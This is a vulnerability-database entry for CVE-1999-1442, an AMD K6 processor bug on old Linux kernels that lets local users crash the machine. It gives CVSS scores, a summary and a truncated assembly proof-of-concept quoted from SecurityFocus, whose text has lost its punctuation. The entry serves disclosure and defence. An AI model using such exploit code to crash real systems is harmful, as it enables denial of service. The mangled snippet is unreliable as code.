7.2
CVSSv2

CVE-1999-1442

Published: 22/06/1998 Updated: 11/09/2018
CVSS v2 Base Score: 7.2 | Impact Score: 10 | Exploitability Score: 3.9
VMScore: 725
Vector: AV:L/AC:L/Au:N/C:C/I:C/A:C

Vulnerability Summary

Bug in AMD K6 processor on Linux 2.0.x and 2.1.x kernels allows local users to cause a denial of service (crash) via a particular sequence of instructions, possibly related to accessing addresses outside of segments.

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Exploits

source: wwwsecurityfocuscom/bid/105/info A bug in Advance Micro Devices K6 processor allows non-privileged code to crash the machine Under Linux 21x a bug stops this vulnerability $ cat as text align 4096 /* r1 */ globl _start _start: movl _start, %edi /* S1 */ cmpb 0x80000000(%edi),%dl /* r2, S2 */ je nowhere /* r3 */ ret $ as ...